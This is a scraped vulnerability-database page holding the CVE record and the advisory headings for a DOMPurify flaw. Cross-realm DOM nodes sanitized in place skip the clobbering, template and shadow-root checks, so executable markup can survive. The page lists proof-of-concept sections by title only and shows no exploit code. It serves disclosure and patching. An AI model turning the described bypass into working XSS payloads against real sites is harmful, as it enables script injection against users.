          "product": "DOMPurify",
          "vendor": "cure53",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.4.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-501",
              "description": "CWE-501: Trust Boundary Violation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-693",
              "description": "CWE-693: Protection Mechanism Failure",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-14T19:58:50.397Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8"
        },
        {
          "name": "https://github.com/cure53/DOMPurify/commit/bb7739e5bccec7e1ab3dae3f3e42d02db3acaaae",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/cure53/DOMPurify/commit/bb7739e5bccec7e1ab3dae3f3e42d02db3acaaae"
        },
        {
          "name": "https://github.com/cure53/DOMPurify/releases/tag/3.4.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.6"
        }
      ],
      "source": {
        "advisory": "GHSA-hpcv-96wg-7vj8",
        "discovery": "UNKNOWN"
      },
      "title": "DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49458",
    "datePublished": "2026-07-14T19:58:50.397Z",
    "dateReserved": "2026-05-30T02:43:33.107Z",
    "dateUpdated": "2026-07-14T19:58:50.397Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-HPCV-96WG-7VJ8

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

Summary

Affected

Vulnerability details

[A] — _isClobbered gates on element instanceof HTMLFormElement

[B] — _sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment

[C] — _sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment

The mismatch

Proof of concept

PoC 1 — cross-realm form clobbering survives

PoC 2 — cross-realm <template> content is never walked

PoC 3 — cross-realm attached shadow root is never walked

Impact

Direct

Indirect / second-order

Root cause

Suggested fix

CVE-2026-49458 (GCVE-0-2026-49458)

Tags

Sightings

Nomenclature

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

[A] — `_isClobbered` gates on `element instanceof HTMLFormElement`

[B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`

[C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`

PoC 2 — cross-realm `<template>` content is never walked